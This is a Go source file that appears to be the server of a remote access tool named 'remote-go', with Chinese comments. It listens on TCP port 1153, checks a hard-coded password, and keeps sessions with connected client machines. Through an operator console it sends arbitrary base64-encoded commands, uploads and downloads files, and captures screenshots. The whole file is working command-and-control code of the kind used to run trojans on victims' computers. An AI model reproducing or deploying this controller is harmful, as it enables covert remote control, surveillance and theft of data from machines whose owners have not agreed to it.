package main

import (
	"bufio"
	"encoding/base64"
	"flag"
	"fmt"
	"io"
	"log"
	"net"
	"os"
	"remote-go/server/cmdServer"
	"remote-go/server/data"
	"remote-go/server/util"
	"strconv"
	"sync"
)

var (
	inputIP      = flag.String("host", "0.0.0.0", "Listen REMOTE_IP")
	inputPort    = flag.String("port", "1153", "Listen Port")
	connPwd      = flag.String("pwd", "pwd.bzchao.com", "Connection Password")
	counter      = 0                      //用于会话计数，给map的key使用
	connList     = make(map[int]net.Conn) //存储所有连接的会话
	connListLock = &sync.Mutex{}          // 连接会话锁，保证connList的线程安全
	checkConnId  = 0                      //已选择的客户端ID
)

// Socket客户端连接处理程序,专用于接收client端的消息
func connection(conn net.Conn) {
	defer conn.Close()
	clientIp := conn.RemoteAddr().String()

	connListLock.Lock()
	counter++
	var clientId = counter
	connList[counter] = conn
	connListLock.Unlock()

	fmt.Printf("--- client: %s connected ---\n", clientIp)
	for {
		message, err := bufio.NewReader(conn).ReadString('\n')
		//如果客户端断开
		if err == io.EOF {
			conn.Close()
			delete(connList, clientId)
			break
		}

		// 判断是否为网络错误
		if netError, err := err.(net.Error); err {
			log.Printf("netError,%v\n", netError)
			conn.Close()
			delete(connList, clientId)
			break
		}
		decoded, _ := base64.StdEncoding.DecodeString(message)
		decMessage := string(decoded)
		switch decMessage {
		case "download":
			cmdServer.AcceptDownload(conn)
		case "screenshot":
			cmdServer.AcceptScreenShot(clientIp, conn)
		default:
			fmt.Print(decMessage)
		}
	}
	fmt.Printf("--- %s close---\n", clientIp)
}

// 等待Socket 客户端连接
func handleConnWait() {
	listener, err := net.Listen("tcp", *inputIP+":"+*inputPort)
	if err != nil {
		log.Fatal(err)
	}
	defer listener.Close()
	for {
		conn, err := listener.Accept()
		if err != nil {
			log.Fatal(err)
			continue
		}
		message, err := bufio.NewReader(conn).ReadString('\n')
		decoded, _ := base64.StdEncoding.DecodeString(message)
		if string(decoded) == *connPwd {
			go connection(conn)
		} else {
			log.Printf("%s,%s\n", conn.RemoteAddr().String(), "pwd error")
			backMsg := base64.URLEncoding.EncodeToString([]byte("back"))
			conn.Write([]byte(backMsg + "\n"))
			conn.Close()
		}
	}
}

func main() {
	flag.Parse()
	go handleConnWait()
	for {
		_conn, ok := connList[checkConnId]
		if ok {
			fmt.Print(data.RED, "SESSION ", connList[checkConnId].RemoteAddr(), data.WHITE, "> ")
		} else {
			fmt.Print(data.RED, "SESSION 请选择客户端", data.WHITE, "> ")
		}
		//等等输入指令
		command := util.ReadLine()
		switch command {
		case "":
		// 如果输入为空，则什么都不做
		case "help":
			cmdServer.PrintHelp()
		case "session":
			switchSession()
		case "quit":
			os.Exit(0)
		case "clear":
			cmdServer.ClearScreen()
		case "exit":
			exitSession(ok, _conn)
		case "download":
			cmdServer.SendDownload(ok, _conn)
		case "upload":
			cmdServer.SendUpload(ok, _conn)
		case "screenshot", "sc":
			cmdServer.SendScreenShot(ok, _conn)
		default:
			// 其它指令直接发送给客户端
			if ok {
				_cmd := base64.URLEncoding.EncodeToString([]byte(command))
				_conn.Write([]byte(_cmd + "\n"))
			} else {
				fmt.Println("请重新选择客户端, help查看帮助")
			}
		}
	}
}

func exitSession(ok bool, _conn net.Conn) {
	if ok {
		encDownload := base64.URLEncoding.EncodeToString([]byte("exit"))
		_conn.Write([]byte(encDownload + "\n"))
	} else {
		fmt.Println("请重新选择客户端, help查看帮助")
	}
}

func switchSession() {
	for index, con := range connList {
		fmt.Printf("%d\t : %s\n", index, con.RemoteAddr().String())
	}
	fmt.Print("选择客户端ID: ")
	inputId := util.ReadLine()
	if inputId != "" {
		var e error
		checkConnId, e = strconv.Atoi(inputId)
		if e != nil {
			fmt.Println("请输入数字")
		} else if _, ok := connList[checkConnId]; ok {
			//如果输入并且存在客户端id
			_cmd := base64.URLEncoding.EncodeToString([]byte("getos"))
			connList[checkConnId].Write([]byte(_cmd + "\n"))
		}
	}
}
